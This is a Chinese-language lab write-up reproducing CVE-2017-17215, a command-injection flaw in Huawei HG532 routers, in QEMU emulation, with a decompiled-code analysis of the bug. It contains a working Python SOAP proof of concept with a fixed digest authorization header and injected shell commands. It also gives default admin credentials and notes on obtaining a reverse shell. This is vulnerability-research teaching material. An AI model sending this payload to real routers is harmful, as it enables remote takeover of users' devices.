华为路由器漏洞CVE-2017-17215复现分析
字数 1316 2025-08-20 18:18:24
CVE-2017-17215 华为路由器远程命令执行漏洞复现与分析
漏洞概述
CVE-2017-17215是华为HG532系列路由器中存在的远程命令执行漏洞。该漏洞源于设备未对UPnP服务中的特殊函数入口进行有效过滤,攻击者可通过构造恶意SOAP请求实现任意命令执行。
受影响产品:华为HG532系列路由器(家庭和小型办公用高速无线路由器)
漏洞类型:远程命令执行
漏洞原理:未对代码中可执行的特殊函数入口做过滤,导致攻击者可提交恶意构造的语句让服务器端执行。类似web应用中的system、eval、exec等函数未过滤用户输入的情况。
环境准备
所需工具
- binwalk:用于固件解压
- QEMU:用于模拟MIPS架构环境
- 华为HG532固件:HG532eV100R001C01B020_upgrade_packet.bin
- Python requests库:用于发送POC
固件解压
- 解压原始固件文件
- 使用binwalk解压固件内容:
binwalk -Me HG532eV100R001C01B020_upgrade_packet.bin
解压后会得到squashfs-root文件夹,包含路由器的文件系统。
QEMU环境搭建
安装依赖
sudo apt-get install qemu
sudo apt-get install qemu binfmt-support qemu-user-static
下载QEMU镜像
下载与固件匹配的MIPS 32位大端镜像:
wget https://people.debian.org/~aurel32/qemu/mips/debian_squeeze_mips_standard.qcow2
wget https://people.debian.org/~aurel32/qemu/mips/vmlinux-2.6.32-5-4kc-malta
配置网络
- 创建虚拟网桥:
sudo apt-get install bridge-utils
sudo brctl addbr Virbr0
sudo ifconfig Virbr0 192.168.153.1/24 up
- 创建tap接口并添加到网桥:
sudo tunctl -t tap0
sudo ifconfig tap0 192.168.153.11/24 up
sudo brctl addif Virbr0 tap0
启动虚拟机
sudo qemu-system-mips -M malta -kernel vmlinux-2.6.32-5-4kc-malta \
-hda debian_squeeze_mips_standard.qcow2 \
-append "root=/dev/sda1 console=tty0" \
-netdev tap,id=tapnet,ifname=tap0,script=no \
-device rtl8139,netdev=tapnet -nographic
虚拟机内配置
- 设置IP地址:
ifconfig eth0 192.168.153.2/24 up
- 将解压的文件系统复制到虚拟机:
scp -r squashfs-root/ root@192.168.153.2:~/
- 挂载必要的目录:
mount -o bind /dev ./squashfs-root/dev
mount -t proc /proc ./squashfs-root/proc
- 启动chroot环境:
chroot squashfs-root sh
- 在另一个终端通过SSH连接并启动路由器服务:
ssh root@192.168.153.2
chroot squashfs-root /bin/sh
./bin/upnp
./bin/mic
- 重新配置IP(因服务启动会改变网络配置):
ifconfig eth0 192.168.153.2/24 up
ifconfig br0 192.168.153.11/24 up
默认管理凭据:
- 用户名:admin
- 密码:@Hua1234
漏洞复现
POC代码
import requests
headers = {
"Authorization": "Digest username=dslf-config, realm=HuaweiHomeGateway, nonce=88645cefb1f9ede0e336e3569d75ee30, uri=/ctrlt/DeviceUpgrade_1, response=3612f843a42db38f48f59d2a3597e19c, algorithm=MD5, qop=auth, nc=00000001, cnonce=248d1a2560100669"
}
data = '''<?xml version="1.0" ?>
<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1">
<NewStatusURL>;mkdir /bin/hell;</NewStatusURL>
<NewDownloadURL>HUAWEIUPNP</NewDownloadURL>
</u:Upgrade>
</s:Body>
</s:Envelope>
'''
requests.post('http://192.168.153.2:37215/ctrlt/DeviceUpgrade_1', headers=headers, data=data)
漏洞利用说明
- 注入点在
<NewStatusURL>和<NewDownloadURL>节点 - 使用分号
;分隔命令 - 示例中创建了
/bin/hell目录作为验证
双注入点验证
修改POC,同时在两个节点注入命令:
data = '''<?xml version="1.0" ?>
<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1">
<NewStatusURL>;mkdir hell;</NewStatusURL>
<NewDownloadURL>;mkdir hello;</NewDownloadURL>
</u:Upgrade>
</s:Body>
</s:Envelope>
'''
漏洞原理分析
关键代码分析
使用Ghidra分析二进制文件,搜索字符串"NewStatusURL"找到关键函数:
int FUN_0040749c(int param_1) {
int iVar1;
char *local_418;
char *local_414;
char acStack1040[1028];
iVar1 = ATP_XML_GetChildNodeByName(*(int *)(param_1 + 0x2c), "NewDownloadURL", (int *)0x0, &local_418);
if (((iVar1 == 0) && (local_418 != (char *)0x0)) &&
(iVar1 = ATP_XML_GetChildNodeByName(*(int *)(param_1 + 0x2c), "NewStatusURL", (int *)0x0, &local_414), iVar1 == 0)) {
if (local_414 != (char *)0x0) {
snprintf(acStack1040, 0x400, "upg -g -U %s -t '1 Firmware Upgrade Image' -c upnp -r %s -d -b", local_418, local_414);
system(acStack1040);
}
}
return iVar1;
}
漏洞形成原因
- 从XML中提取
NewDownloadURL和NewStatusURL节点的内容 - 使用
snprintf将这两个值拼接到命令字符串中 - 通过
system函数执行拼接后的命令 - 未对用户输入进行任何过滤,导致命令注入
UPnP服务分析
- 设备支持"DeviceUpgrade"服务
- 通过向"/ctrlt/DeviceUpgrade_1"发送SOAP请求执行固件升级
- 利用
NewStatusURL和NewDownloadURL两个元素实现命令注入
扩展思考
反弹Shell可能性
- 路由器环境中缺少常见工具如nc、python等
- 可能的解决方案:
- 交叉编译MIPS架构的客户端程序
- 将客户端上传到路由器执行
- 在攻击机上运行服务端
漏洞挖掘方法论
-
固件分析流程:
- 获取并解压固件
- 识别网络服务组件
- 分析UPnP服务实现
- 追踪用户输入处理流程
-
关键点:
- 查找system等危险函数调用
- 分析XML解析流程
- 验证所有用户可控输入点
参考链接
- 原始分析文章:先知社区
- CheckPoint漏洞报告
- Huawei安全公告